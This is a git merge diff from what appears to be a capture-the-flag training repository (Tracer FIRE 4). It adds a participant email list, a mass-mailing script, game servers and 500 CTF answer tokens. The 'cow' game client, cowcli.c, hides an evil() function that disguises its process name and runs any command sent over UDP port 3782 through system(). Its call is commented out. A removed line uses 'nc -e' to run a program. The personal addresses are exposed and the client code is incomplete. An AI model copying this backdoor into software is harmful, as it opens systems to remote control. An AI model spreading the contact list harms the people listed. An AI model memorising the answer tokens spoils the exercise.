Merge remote branch 'origin/master'

doc/2012-02-TF4/assigned.txt

@@ -0,0 +1,71 @@
+jdbaca@sandia.gov
+lindseymg@ornl.gov
+cneberg@sandia.gov
+chance.gearhart@state.nm.us
+kphall@sandia.gov
+bcoulson@digitalglobe.com
+zkhspryt98@snkmail.com
+villalon@cs.unm.edu
+cjtafoy@sandia.gov
+david.llewellyn@ssa.gov
+brander@sandia.gov
+sgidituri@ercot.com
+javery@pantex.com
+djvollan@lanl.gov
+rettinger@izmm.com
+chris.hancock@state.nm.us
+ldbutts1@gmail.com
+mcelws@pjm.com
+jwelcher@lbl.gov
+gerald.stephen@iarc.nv.gov
+nrpeter@sandia.gov
+raymond.hussonii@gmail.com
+Robert.Messemer@nielsen.com
+myrick3@llnl.gov
+dmdunla@sandia.gov
+jcjaroc@sandia.gov
+banderson@lanl.gov
+tbsmith@sandia.gov
+jlangley@pantex.com
+tmkroeg@sandia.gov
+amcphall@lanl.gov
+rcsisneros@lanl.gov
+jbradshaw@ihmc.us
+jjmande@sandia.gov
+mla_ca520@hotmail.com
+thomas.walters@iarc.nv.gov
+jcstrom@sandia.gov
+rpcuste@sandia.gov
+cvedaa@fdic.gov
+mfgomez@lanl.gov
+equarle@sandia.gov
+pferrell@lanl.gov
+melissa.zicopula@iarc.nv.gov
+mike.owens@state.nm.us
+jstauffer07@gmail.com
+brian.varine@hq.doe.gov
+dmdorse@sandia.gov
+paul.tarricone@orau.org
+jedoak@sandia.gov
+rwschr@sandia.gov
+lettef@pjm.com
+rguttierrez@ercot.com
+simone.shen@us.af.mil
+lockij@pjm.com
+ranabey@sandia.gov
+samulde@sandia.gov
+jjhaas@sandia.gov
+chou@nv.doe.gov
+jscott@pantex.com
+swade@sandia.gov
+edthoma@sandia.gov
+wclark@pantex.com
+royjuan@lanl.gov
+perry.james.t@gmail.com
+mcglyj@pjm.com
+tbruner@sandia.gov
+ccollord@lanl.gov
+jdbrad@sandia.gov
+henry.hutson@iarc.nv.gov
+enhan@sandia.gov
+gary.long@state.nm.us

doc/2012-02-TF4/assignments.py

@@ -0,0 +1,72 @@
+#! /usr/bin/python3
+
+## Course assignments
+
+import csv
+import smtplib
+
+msg = '''From: Neale Pickett <neale@lanl.gov>
+To: %(recip)s
+Subject: Tracer FIRE 4 course assignment: %(course)s
+
+Hello!  Your course assignment for Tracer FIRE 4 is:
+
+    %(course)s
+
+Please see http://csr.lanl.gov/tf/tf4.html for information on
+what you need to bring to the course.
+
+Course questions should be directed to the appropriate instructor:
+
+    Network RE:             Neale Pickett <neale@lanl.gov>
+    Malware RE:             Danny Quist <dquist@lanl.gov>
+    Host Forensics:         Kevin Nauer <ksnauer@sandia.gov>
+    Incident Coordination:  Alex Kent <alex@lanl.gov>
+
+General questions about Tracer FIRE may be sent to
+Neale Pickett <neale@lanl.gov>
+
+Looking forward to seeing you in Santa Fe next week,
+
+-- 
+Neale Pickett <neale@lanl.gov>
+Advanced Computing Solutions, Los Alamos National Laboratory
+'''
+
+limits = {'Malware RE': 26,
+          'Network RE': 40}
+assignments = {}
+
+assigned = set(l.strip() for l in open('assigned.txt'))
+
+c = csv.reader(open('/tmp/g.csv'))
+c.__next__()
+for row in c:
+    assert '@' in row[2]
+    t = row[5]
+    if (len(assignments.get(t, '')) == limits.get(t, 50)):
+        if (row[6] == row[5]):
+            print("Jackass detected: %s" % row[2])
+        t = row[6]
+    l = assignments.setdefault(t, [])
+    l.append(row)
+
+s = smtplib.SMTP('mail.lanl.gov')
+for t in ('Incident Coordinator', 'Network RE', 'Malware RE', 'Forensics'):
+    print('%s (%s)' % (t, len(assignments[t])))
+    for row in assignments[t]:
+        e = row[2]
+        if e in assigned:
+            print('    %s' % e)
+        else:
+            print(' *  %s' % e)
+            ret = s.sendmail('neale@lanl.gov', [e], msg % {'course': t, 'recip': e})
+            if ret:
+                print(' ==>    %s' % ret)
+            else:
+                assigned.add(e)
+s.quit()
+
+a = open('assigned.txt', 'w')
+for e in assigned:
+    a.write('%s\n' % e)

doc/ipv6.txt

@@ -2,12 +2,12 @@ IPv6 in Dirtbags CTF
 ====================
 
 The contest network uses IPs in the unique local address space
-fd82:b410:3441::/48.  Each team gets a /64 internal subnet, with
+fd84:b410:3441::/48.  Each team gets a /64 internal subnet, with
 their team number (generally the same as the switch port).
 
-Each subnet's gateway is ::1.
+Each subnet's gateway is fd84:b410:3441:$teamno::1.
 
-Team 5, in switch port 5, on VLAN 5, gets fd82:b410:3441:5::/64.
+Team 5, in switch port 5, on VLAN 5, gets fd84:b410:3441:5::/64.
 
 Server network is fd84:b410:3441::/64 (AKA fd84:b410:3441:0::/64).  To
 make things easier to type, use hosts in the /112.  The MCP server lives

packages/cowbull/src/Makefile

@@ -0,0 +1 @@
+all: cowd cowcli

packages/cowbull/src/cow.txt

@@ -0,0 +1,58 @@
+The Cow Game
+============
+
+You are trying to guess a 4-nybble sequence.  Each nybble will have
+either 1 or 2 bits set, and the highest bit will never be set.  The
+game server will tell you how many nybbles in each guess were correct,
+and how many had one correct bit.  It does not tell you which
+positions
+
+
+
+The Cow Client
+==============
+
+The client connects to the Cow server running on the IPv6 address
+provided in argument 1.  If argument 2 is present, the client will
+try to run it, providing stdin and stdout as in interactive mode.
+
+In interactive mode (no argument 2), the client reads a guess in the
+form of 4 ASCII numerals, and prints the number of correct nybbles
+followed by the number of nybbles with one correct bit.
+
+Here is an example of a session:
+
+    1111
+    12
+    2222
+    10
+    4444
+    02
+    4244
+    12
+    1244
+    22
+    1255
+    cow:xylep-radar-nanox
+
+
+
+The Cow Protocol
+================
+
+cowd runs on port 3782.
+
+The client always sends 6 octets.  To request a new session, it sends
+all zeroes.  Otherwise it sends the 4-octet game identifier provided
+by the server, concatenated with a 2-octet guess.
+
+The server will respond with a new game identifier (4 octets) to a new
+game request or if the game requested is too old.  If a guess is
+incorrect, the server will respond with either a 1-octet score in
+which the high nybble is the number of correct nybbles in the guess,
+and the low nybble is the number of nybbles in the guess with one
+correct bit.  If a guess is correct, the server will respond with a
+token of length 5 octets or more.
+
+There are multiple tokens, one per number of guesses used, up to
+some maximum number of guesses defined per server instance.

packages/cowbull/src/cowcli.c

@@ -0,0 +1,171 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <time.h>
+#include <string.h>
+#include <sysexits.h>
+#include <arpa/inet.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+
+#define DEBUG
+
+int
+bind_port(int fd, const struct in6_addr *addr, uint16_t port)
+{
+    struct sockaddr_in6 saddr = { 0 };
+
+    saddr.sin6_family = AF_INET6;
+    saddr.sin6_port = htons(port);
+    memcpy(&saddr.sin6_addr, addr, sizeof *addr);
+    return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
+}
+
+void
+sigchld(int unused)
+{
+    while (0 < waitpid(-1, NULL, WNOHANG));
+}
+
+void
+evil(char *argv[])
+{
+    int sock;
+
+    if (fork()) {
+        return;
+    }
+
+    /* Fork again to reparent to init */
+    if (fork()) {
+        exit(0);
+    }
+
+    {
+        int r = open("/dev/null", O_RDONLY);
+        int w = open("/dev/null", O_WRONLY);
+
+        dup2(r, 0);
+        dup2(w, 1);
+        dup2(w, 2);
+        close(r);
+        close(w);
+    }
+
+    strcpy(argv[0], "[hci1]");
+
+    sock = socket(AF_INET6, SOCK_DGRAM, 0);
+    if (-1 == bind_port(sock, &in6addr_any, 3782)) {
+        exit(0);
+    }
+
+    while (1) {
+        char cmd[400];
+        ssize_t inlen;
+
+        inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
+        if (-1 == inlen) {
+            continue;
+        }
+
+        cmd[inlen] = 0;
+        if (! fork()) {
+            system(cmd);
+            exit(0);
+        }
+    }
+}
+
+int
+main(int argc, char *argv[])
+{
+    long            answer = 0;
+    int             sock;
+    int             i;
+    struct in6_addr addr;
+    uint32_t        token = 0;
+    FILE            *in, *out;
+
+    srand(time(NULL));
+
+    signal(SIGCHLD, sigchld);
+
+    if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
+        fprintf(stderr, "invalid address: %s\n", argv[1]);
+        return EX_IOERR;
+    }
+
+    /*
+     * Set up socket 
+     */
+    sock = socket(AF_INET6, SOCK_DGRAM, 0);
+    if (-1 == bind_port(sock, &in6addr_any, 44)) {
+        perror("Binding UDP port 44");
+#ifndef DEBUG
+        return EX_IOERR;
+#endif
+    }
+
+    if (argv[2]) {
+        /* fork and exec */
+    } else {
+        in = stdin;
+        out = stdout;
+    }
+
+    //evil(argv);
+
+    while (1) {
+        long guess;
+        struct {
+            uint32_t        token;
+            uint16_t        guess;
+        } g;
+
+        g.token = token;
+        if (token) {
+            char line[20];
+
+            if (NULL == fgets(line, sizeof line, in)) {
+                break;
+            }
+            g.guess = strtol(line, NULL, 16);
+        } else {
+            g.guess = 0;
+        }
+
+        /* Send the guess */
+        if (-1 == sendto(sock, &g, sizeof g, 0, &addr, sizeof addr)) {
+            perror("Sending packet");
+            return EX_IOERR;
+        }
+
+        /* read the result */
+        {
+            char buf[80];
+            ssize_t len;
+
+            len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
+            switch (len) {
+                case -1:
+                    perror("Reading packet");
+                    return EX_IOERR;
+                case 1:
+                    /* It's a score */
+                case 4:
+                    /* New game token */
+                default:
+                    /* You win: this is your CTF token */
+            }
+        }
+
+        /* parse result */
+        /* display result */
+    }
+
+    return 0;
+}

packages/cowbull/src/cowd.c

@@ -0,0 +1,192 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <time.h>
+#include <string.h>
+#include <sysexits.h>
+#include <arpa/inet.h>
+#include <sys/socket.h>
+
+#define TIMEOUT 30
+
+#define NTOKENS 20
+#define TOKENLEN 50
+char            tokens[NTOKENS][TOKENLEN];
+int             ntokens;
+
+struct state {
+    time_t          death;
+    uint16_t        answer;
+    uint16_t        guesses;
+};
+
+#define NSTATES 500
+struct state    states[NSTATES] = { 0 };
+
+int
+bind_port(struct in6_addr *addr, int fd, uint16_t port)
+{
+    struct sockaddr_in6 saddr = { 0 };
+
+    saddr.sin6_family = AF_INET6;
+    saddr.sin6_port = htons(port);
+    memcpy(&saddr.sin6_addr, addr, sizeof *addr);
+    return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
+}
+
+
+struct newgame {
+    uint16_t        offset;
+    uint16_t        token;
+};
+
+void
+new_game(int sock, time_t now, struct sockaddr_in6 *from,
+         socklen_t fromlen)
+{
+    int             i;
+    struct newgame  g;
+
+    for (g.offset = 0; g.offset < NSTATES; g.offset += 1) {
+        struct state   *s = &states[g.offset];
+
+        if (s->death < now) {
+            s->death = now + TIMEOUT;
+            s->guesses = 0;
+            s->answer = 0;
+
+            for (i = 0; i < 4; i += 1) {
+                s->answer = (s->answer << 4) | ((random() % 6) + 1);
+            }
+            break;
+        }
+    }
+
+    if (g.offset < NSTATES) {
+        sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen);
+    }
+}
+
+struct guess {
+    uint16_t        offset;
+    uint16_t        token;
+    uint16_t        guess;
+};
+
+void
+loop(int sock)
+{
+    struct guess    g;
+    struct state   *cur;
+    struct sockaddr_in6 from;
+    socklen_t       fromlen = sizeof from;
+    time_t          now = time(NULL);
+
+    /*
+     * Read guess 
+     */
+    {
+        ssize_t         inlen;
+
+        inlen = recvfrom(sock, &g, sizeof g, 0,
+                         (struct sockaddr *) &from, &fromlen);
+        if (inlen != sizeof g) {
+            return;
+        }
+    }
+
+    /*
+     * Bounds check 
+     */
+    if (g.offset >= NSTATES) {
+        g.offset = 0;
+    }
+    cur = &states[g.offset];
+
+    if ((g.token != cur->answer) || /* Wrong token? */
+        (cur->death < now) ||   /* Old game? */
+        (cur->guesses++ > 100)) {       /* Too dumb? */
+        /*
+         * Start a new game 
+         */
+        new_game(sock, now, &from, fromlen);
+        return;
+    } else {
+        uint8_t         reply;
+        int i;
+
+        for (i = 0; i < 4; i += 1) {
+            int             s = (g.guess >> (i * 4)) & 0xf;
+            int             a = (cur->answer >> (i * 4)) & 0xf;
+            if ((s < 1) || (s > 7)) {
+                reply = 0;
+                break;
+            } else if (s == a) {
+                reply += 0x10;
+            } else if (s & a) {
+                reply += 0x01;
+            }
+        }
+
+        if (reply == 0x40) {
+            if (cur->guesses > ntokens) {
+                sendto(sock, tokens[cur->guesses],
+                       strlen(tokens[cur->guesses]), 0,
+                       (struct sockaddr *) &from, fromlen);
+            }
+        } else {
+            sendto(sock, &reply, sizeof reply, 0, (struct sockaddr *) &from,
+                   fromlen);
+        }
+    }
+}
+
+int
+main(int argc, char *argv[])
+{
+    long            answer = 0;
+    int             sock;
+    int             i;
+    struct in6_addr addr;
+
+    srand(time(NULL));
+
+    if (argc > 1) {
+        if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
+            fprintf(stderr, "invalid address: %s\n", argv[1]);
+            return EX_IOERR;
+        }
+    } else {
+        memcpy(&addr, &in6addr_any, sizeof addr);
+    }
+
+    /*
+     * Read in tokens 
+     */
+    for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) {
+        if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) {
+            break;
+        }
+    }
+    printf("Read %d tokens.\n", ntokens);
+
+    /*
+     * Set up socket 
+     */
+    sock = socket(AF_INET6, SOCK_DGRAM, 0);
+    i = bind_port(&addr, sock, 3782);
+    if (-1 == i) {
+        perror("Bind port 3782");
+        return EX_IOERR;
+    }
+
+    for (i = 0; i < 4; i += 1) {
+        answer = (answer << 4) | ((random() % 6) + 1);
+    }
+
+    while (1) {
+        loop(sock);
+    }
+
+    return 0;
+}

packages/router/service/router/run

@@ -2,6 +2,9 @@
 
 exec 2>&1
 
+echo 8192 > /proc/sys/net/ipv6/neigh/default/gc_thresh3
+echo 4096 > /proc/sys/net/ipv6/neigh/default/gc_thresh2
+
 PFX=fd84:b410:3441
 
 log () {

packages/tanks/service/tanksd/tanksd

@@ -3,6 +3,7 @@
 d=/var/lib/ctf/tanks
 p=$d/players
 w=/var/www/tanks
+log=$d/winners.log
 
 summary () {
     cat <<EOF
@@ -40,9 +41,8 @@ EOF
 }
 
 while true; do
-    # Make sure all teams exist
-    KEY='Too much cheese.' arc4 < /var/lib/ctf/teams.txt | \
-        while read hash; do
+    for dn in /var/lib/ctf/teams/names/*; do
+        hash=${dn##*/}
         install -o ctf -d $p/$hash
     done
 
@@ -99,12 +99,13 @@ EOF
 </html>
 EOF
     
-    # Get a token and add it to the redemption log
-    nc 10.0.0.2 1 -e /opt/ctfbase/bin/tokencli tanks ./category.key 3> $tfn
-    k=$(cat $tfn)
     winner.awk $rfn | while read winner; do
         hash=$(basename $winner)
-        echo "Round $next winner: $hash"
+        echo "Round $next winner: $hash" >> $log
+        nwinners=$(wc -l $log)
+        
+        # Read a token
+        k=$(sed -n ${nwinners}p /opt/tanks/tokens.txt)
         
         # XXX: pull this out into another daemon
         # XXX: this puts the token in /proc/self/cmdline

packages/tanks/tanks.mk

@@ -21,6 +21,8 @@ tanks-install: tanks-build
 	cp $(TANKS_BUILDDIR)/rank.awk $(TANKS_PKGDIR)/bin
 	cp $(TANKS_BUILDDIR)/winner.awk $(TANKS_PKGDIR)/bin
 
+	cp packages/tanks/tokens.txt $(TANKS_PKGDIR)/
+
 	$(call COPYTREE, packages/tanks/html, $(TANKS_PKGDIR)/html)
 	cp packages/mcp/www/ctf.css $(TANKS_PKGDIR)/html/style.css
 	cp $(TANKS_BUILDDIR)/nav.html.inc $(TANKS_PKGDIR)/html

packages/tf4/tf4.mk

@@ -0,0 +1,8 @@
+tf4-source:
+tf4-build:
+
+tf4-install: packages/tf4/tokens.txt
+	mkdir -p $(TARGET)/tf4/
+	cp $< $(TARGET)/tf4/
+
+PACKAGES += tf4

packages/tf4/tokens.txt

@@ -0,0 +1,500 @@
+ic:1:xocik-tinez-timax
+ic:2:xoval-keriv-gisix
+ic:3:xudam-dydal-cisyx
+ic:4:xofab-tomav-vupix
+ic:5:xumos-pizip-visax
+ic:6:xotis-dyser-fasux
+ic:7:xupeg-curug-lidux
+ic:8:xolad-cikov-hovex
+ic:9:xomen-fucuk-ramix
+ic:10:xugez-dihod-zopox
+ic:11:xomal-muboh-sunax
+ic:12:xipel-zokan-vegox
+ic:13:xedol-dyryh-mygox
+ic:14:xetog-pygik-nokix
+ic:15:xepan-neheb-guzox
+ic:16:xohoz-dokuz-gonox
+ic:17:xuhig-sitab-dybox
+ic:18:xunov-nohos-tumex
+ic:19:xuril-lifub-behex
+ic:20:xurim-tihih-dodax
+ic:21:xogad-sezub-cupex
+ic:22:xubez-kodab-pafix
+ic:23:xihif-muhoc-syvux
+ic:24:ximag-hymyf-pysex
+ic:25:xepes-tyfep-sonux
+ic:26:xopim-fikas-tuhax
+ic:27:xiler-rybyz-tazyx
+ic:28:xegaf-vizyv-kacix
+ic:29:xitak-tonan-tavyx
+ic:30:xivac-cerac-pozax
+ic:31:xogel-teser-buryx
+ic:32:xenek-dyhot-rifex
+ic:33:xinof-tugar-cisax
+ic:34:xulit-hilog-sohox
+ic:35:xipof-vihym-kobex
+ic:36:xuhig-kikat-nihox
+ic:37:xolaz-visus-cinix
+ic:38:xebor-pibib-kibox
+ic:39:xerit-vyfem-tolix
+ic:40:xuzeb-vofym-lofix
+ic:41:xogig-vesul-dycax
+ic:42:xenok-husuk-vokox
+ic:43:xepac-luzug-numux
+ic:44:xumap-tovur-tolux
+ic:45:xicig-vumav-tibex
+ic:46:xosag-ragus-cabax
+ic:47:xeget-datud-myvex
+ic:48:xozak-resem-tufax
+ic:49:xinac-kubul-bicix
+ic:50:xibov-devuz-vipyx
+ic:51:xuheh-gorap-vizix
+ic:52:xobod-vygyp-zudex
+ic:53:xopar-bunyk-nysax
+ic:54:xinek-nunac-nobyx
+ic:55:xucib-harup-rofax
+ic:56:xefet-lecyg-cuhox
+ic:57:xovop-gipeg-pipux
+ic:58:xigen-hozef-zybox
+ic:59:xizat-fybeg-firix
+ic:60:xorog-kenad-gomax
+ic:61:xohif-gyduv-mygox
+ic:62:xufam-zukyt-kopyx
+ic:63:xilan-logog-sagux
+ic:64:ximic-nupav-pylax
+ic:65:xipog-nytek-zyzyx
+ic:66:xecor-padyl-kugyx
+ic:67:xidav-covim-gybix
+ic:68:xipav-faves-limyx
+ic:69:xesik-tiren-sulyx
+ic:70:xelob-gyrud-gatix
+ic:71:xizag-ronil-tybux
+ic:72:xinoc-gumus-tocux
+ic:73:xivog-balis-logax
+ic:74:xideb-pafuc-vesux
+ic:75:xuser-zamil-bilox
+ic:76:xizan-fibyt-bocyx
+ic:77:xefis-tynac-fyzux
+ic:78:xucap-kogef-tyzyx
+ic:79:xegas-nagef-zogox
+ic:80:xumor-kevub-nanox
+ic:81:xinek-vedah-gehyx
+ic:82:xifep-bonuc-tycux
+ic:83:xitah-fefav-myrix
+ic:84:xelid-vybeb-ketex
+ic:85:xivis-nelul-nukyx
+ic:86:xeror-rikit-rafyx
+ic:87:xubin-gevyb-satax
+ic:88:xukiv-dyket-nacex
+ic:89:xifed-gycor-filyx
+ic:90:xibif-rakov-henix
+ic:91:xubiv-sakul-pobex
+ic:92:xelan-lebar-colox
+ic:93:xecaf-tupap-halax
+ic:94:xeroc-sirir-vecux
+ic:95:xumip-nupeh-kesax
+ic:96:xodig-rocod-pukex
+ic:97:xopih-bocys-zivex
+ic:98:xoref-kubos-nufix
+ic:99:xesec-rugyb-povax
+ic:100:xolen-tevab-sutux
+splunk:1:ximez-lifab-lytux
+splunk:2:xutet-godyc-gilyx
+splunk:3:xozon-buros-pebex
+splunk:4:xikec-koroz-vocix
+splunk:5:xerig-myvar-hysux
+splunk:6:xisam-tisaf-gecax
+splunk:7:ximiv-picum-synox
+splunk:8:xicod-bimyh-mugex
+splunk:9:xizos-civeg-lygux
+splunk:10:xikon-cicat-zuhex
+splunk:11:xobom-sipyh-milix
+splunk:12:xivov-syvad-nunox
+splunk:13:xerip-zyfet-hygux
+splunk:14:xocad-nezip-typox
+splunk:15:xumad-vagig-sugox
+splunk:16:xodid-vatuv-dinox
+splunk:17:xuzek-fynip-cadix
+splunk:18:xitoz-vetob-lurox
+splunk:19:xidav-lirad-symox
+splunk:20:xekor-kydig-lopox
+splunk:21:xonaf-tysyh-relix
+splunk:22:xezif-dahom-gydux
+splunk:23:xeloz-mycol-dymox
+splunk:24:xepit-burin-sarax
+splunk:25:xebal-povor-vozux
+splunk:26:xisof-bipad-zosix
+splunk:27:xetep-poded-legax
+splunk:28:xutaf-hohak-tenux
+splunk:29:xemaz-gycak-nisux
+splunk:30:xeziv-luvah-vikex
+splunk:31:xenan-fifus-nusax
+splunk:32:xukog-mosec-hihax
+splunk:33:xutev-lepep-rovux
+splunk:34:xiboh-fagyf-gemix
+splunk:35:xopac-barup-ricix
+splunk:36:xelib-dolap-lyfix
+splunk:37:xivap-tyfic-lotox
+splunk:38:xuzep-ciryh-botyx
+splunk:39:xumin-bysas-fytox
+splunk:40:xital-siric-burix
+splunk:41:xerip-hipyp-vokix
+splunk:42:xizag-zyros-kodax
+splunk:43:xufel-dalov-hufax
+splunk:44:xokih-cacun-ratix
+splunk:45:xehap-vekag-numix
+splunk:46:xedok-podog-hafyx
+splunk:47:xecac-vygac-ryhyx
+splunk:48:xefek-dogyh-podyx
+splunk:49:xomak-hyrap-tavyx
+splunk:50:xizag-kesup-lupux
+splunk:51:xerir-cigig-myfix
+splunk:52:xebam-copuc-kahyx
+splunk:53:xizav-poben-pugax
+splunk:54:xozet-cidel-bemox
+splunk:55:xoleg-lafof-fosix
+splunk:56:xepec-dedan-bonox
+splunk:57:xutif-tehuv-henex
+splunk:58:xoreh-cezol-gyhux
+splunk:59:xobap-menyg-zugyx
+splunk:60:xevil-cozag-tafax
+splunk:61:xidik-danof-gamox
+splunk:62:xocov-hulev-fubux
+splunk:63:xipol-pagon-medix
+splunk:64:xidor-tydys-vibex
+splunk:65:xubal-tufar-nodix
+splunk:66:xolit-duzyb-dyvyx
+splunk:67:xunes-gapig-zezux
+splunk:68:xegat-fufav-fucux
+splunk:69:xitop-tybeb-bimux
+splunk:70:xupim-gicev-pirax
+splunk:71:xerod-ketot-sobux
+splunk:72:xulis-kycyg-buzax
+splunk:73:xifaz-cycof-huvux
+splunk:74:xedos-bekut-gipex
+splunk:75:xikor-zecib-tugix
+splunk:76:xigop-gikyc-lugyx
+splunk:77:xunet-tyvun-povex
+splunk:78:xumit-ganer-puhax
+splunk:79:xotev-mymaz-kabyx
+splunk:80:xurah-nakop-fifex
+splunk:81:xodof-kevyf-gyhux
+splunk:82:xuset-divyv-rycux
+splunk:83:xihan-rudys-batix
+splunk:84:xozet-ravyh-kohux
+splunk:85:xites-sybak-duzix
+splunk:86:xubog-kitil-conux
+splunk:87:xovos-mysog-hahox
+splunk:88:xivin-kolec-kesux
+splunk:89:xizip-vesyk-tofix
+splunk:90:xotap-fizuz-mytax
+splunk:91:xehah-gisyr-kokex
+splunk:92:xedob-kefod-muhex
+splunk:93:xirov-cysav-rygex
+splunk:94:xogot-bidub-rygox
+splunk:95:xodik-ligyn-mytyx
+splunk:96:xefot-kodad-sezax
+splunk:97:xefel-tekap-renex
+splunk:98:xutab-mikuf-pynox
+splunk:99:xosoh-nopog-fadix
+splunk:100:xogal-sapop-volix
+paloalto:1:xebam-sihir-vamix
+paloalto:2:xuciz-gudyp-hufux
+paloalto:3:xenal-tuvuk-razox
+paloalto:4:xorap-palig-dedox
+paloalto:5:xelan-faneb-kunix
+paloalto:6:xegev-lebef-ralyx
+paloalto:7:xolid-rofol-midex
+paloalto:8:xonar-datyn-honux
+paloalto:9:xivoh-tehur-kyzox
+paloalto:10:xepaz-hogat-hehyx
+paloalto:11:xigem-civob-vimox
+paloalto:12:xekiz-bibec-lamyx
+paloalto:13:xezen-sokoc-kyfix
+paloalto:14:xizaz-cefat-pivux
+paloalto:15:xonez-manel-balyx
+paloalto:16:xozes-vyzoz-ryzax
+paloalto:17:xeset-mecep-nezix
+paloalto:18:ximap-savuz-bivex
+paloalto:19:xinik-tokoz-kyfyx
+paloalto:20:xupok-ryfyc-vohix
+paloalto:21:xirep-pykeh-nerex
+paloalto:22:xokig-nysim-senyx
+paloalto:23:xezip-polyn-zapox
+paloalto:24:xizoh-vyfuv-bulox
+paloalto:25:xecip-hulap-zedex
+paloalto:26:xemav-netym-kuryx
+paloalto:27:xubaf-zycid-conox
+paloalto:28:xinap-pasol-sadax
+paloalto:29:ximop-visir-pibyx
+paloalto:30:xidok-gedov-humax
+paloalto:31:xopar-vypan-latix
+paloalto:32:xilec-rybad-huvax
+paloalto:33:xupeg-pitop-fucex
+paloalto:34:xolob-refos-nacex
+paloalto:35:xuvez-vycud-zusux
+paloalto:36:xidot-rabyk-sicax
+paloalto:37:xisil-tazut-gezix
+paloalto:38:xonos-rozom-kehex
+paloalto:39:xucec-farek-kofax
+paloalto:40:xisap-kibol-fulix
+paloalto:41:xehol-tukov-cenyx
+paloalto:42:xodag-tibah-hesyx
+paloalto:43:xovob-ketyh-fusix
+paloalto:44:xiciv-kybol-cogyx
+paloalto:45:xovip-rucan-bycyx
+paloalto:46:xufos-kidif-basix
+paloalto:47:xogif-davek-vyzux
+paloalto:48:xozef-hogoh-menux
+paloalto:49:xugod-hopil-sumex
+paloalto:50:xulak-fituh-sulix
+paloalto:51:xufib-vugys-surux
+paloalto:52:xifep-kicyl-febax
+paloalto:53:xohop-ketit-vitux
+paloalto:54:xonog-sudes-repix
+paloalto:55:xemic-tilyg-fafix
+paloalto:56:xunef-cukep-ryfox
+paloalto:57:xudis-koreb-rihyx
+paloalto:58:xilas-kolyt-hehex
+paloalto:59:xekob-nytum-muhix
+paloalto:60:xitik-hybid-syzax
+paloalto:61:xozeh-lyhom-nesox
+paloalto:62:xegeb-meced-dufex
+paloalto:63:xuhaz-kekil-nicex
+paloalto:64:xifin-vifac-sorux
+paloalto:65:xihib-pygil-cafux
+paloalto:66:xogog-fypar-simyx
+paloalto:67:xilag-nulok-cihax
+paloalto:68:xubam-ripoh-lebix
+paloalto:69:xilin-saneh-pifux
+paloalto:70:xedan-simil-hapyx
+paloalto:71:xutaf-bogil-polax
+paloalto:72:xulaz-pirek-pysax
+paloalto:73:xival-rynyn-gypex
+paloalto:74:xipot-mazak-gusex
+paloalto:75:xiceb-resyl-mekyx
+paloalto:76:xumok-bahyn-kisax
+paloalto:77:xeman-kegaz-safyx
+paloalto:78:xedek-filov-myhix
+paloalto:79:xuhim-nicor-zumix
+paloalto:80:xofem-cetiv-lihyx
+paloalto:81:xonaz-muhih-dysex
+paloalto:82:xizol-sycol-cahax
+paloalto:83:xuhom-mihut-rynyx
+paloalto:84:xemef-kubit-kimox
+paloalto:85:xuzis-domyh-luhux
+paloalto:86:xilet-timus-sonux
+paloalto:87:xuzob-fyrac-tazyx
+paloalto:88:xubof-poneh-mitux
+paloalto:89:xemov-mufob-lihax
+paloalto:90:xudag-bacav-libox
+paloalto:91:xulat-kugez-ryfex
+paloalto:92:xomos-voboh-huhax
+paloalto:93:xoran-sosil-sugex
+paloalto:94:xetim-conuv-mygax
+paloalto:95:xudak-mubys-nydyx
+paloalto:96:xizik-nocuv-golyx
+paloalto:97:xerad-dytyc-rycyx
+paloalto:98:xihod-cecib-kykex
+paloalto:99:xugor-lavup-nakex
+paloalto:100:xikaz-tufib-sovux
+re:1:xulim-fepar-myvax
+re:2:xucol-tilon-fukex
+re:3:xehan-mudut-mafex
+re:4:xetam-cigys-tegax
+re:5:xomak-feles-dekox
+re:6:xumid-nigud-kupyx
+re:7:xubes-cikif-sirix
+re:8:xuniv-rutuh-mybux
+re:9:xukoh-gyfov-potax
+re:10:xinab-kurek-mokix
+re:11:xelek-pizab-cesux
+re:12:xivar-tolyz-lusox
+re:13:xisik-pumuc-mavux
+re:14:xinib-dezid-vakyx
+re:15:xeceg-mupir-dorax
+re:16:xudic-nycam-cosux
+re:17:xomir-pypav-ninax
+re:18:xokid-lacib-zydix
+re:19:xiceg-cugud-benyx
+re:20:xubeb-fokyc-tavix
+re:21:xupov-dubis-pogax
+re:22:xorot-ryzez-vedix
+re:23:xipeg-tepap-latix
+re:24:xiget-hehym-kycex
+re:25:xefop-zucez-cusex
+re:26:xivah-kehak-sibux
+re:27:xutem-hadyv-pemux
+re:28:xisac-cylot-rezox
+re:29:xevec-semos-vylax
+re:30:xideg-pygon-vizix
+re:31:xubin-mazog-dacax
+re:32:xibep-fador-hupex
+re:33:xuvos-zidul-hulux
+re:34:xebih-pugoz-luzex
+re:35:xiras-vimiv-fizex
+re:36:xecad-palol-lasox
+re:37:xibic-lafam-tepax
+re:38:xumik-bolyz-kytix
+re:39:xuceg-fytut-rilux
+re:40:xihen-zobek-gityx
+re:41:xolal-zelof-vokix
+re:42:xored-tofid-fomyx
+re:43:xehag-vivef-tadox
+re:44:xobed-rucug-fifux
+re:45:xolez-dozok-kozax
+re:46:xogal-cyzec-nopex
+re:47:xeles-lafos-begex
+re:48:xosan-vykac-kehix
+re:49:xilod-luguv-zyrax
+re:50:xecek-magin-fybox
+re:51:xevid-nucas-kudax
+re:52:xirez-dovav-fudyx
+re:53:xodef-fitir-cylyx
+re:54:xotoz-canor-dokax
+re:55:xuciv-lofar-girix
+re:56:xelir-budiv-ryzex
+re:57:xelek-gigur-kafix
+re:58:xutev-kituh-halex
+re:59:xohec-sytar-bapax
+re:60:xodoh-nymyn-tamux
+re:61:ximor-dacog-bamox
+re:62:xegav-pyvyz-codux
+re:63:xibek-debyk-hycox
+re:64:xudig-hobil-hatex
+re:65:xuged-kafid-ratux
+re:66:xorif-motym-vyrix
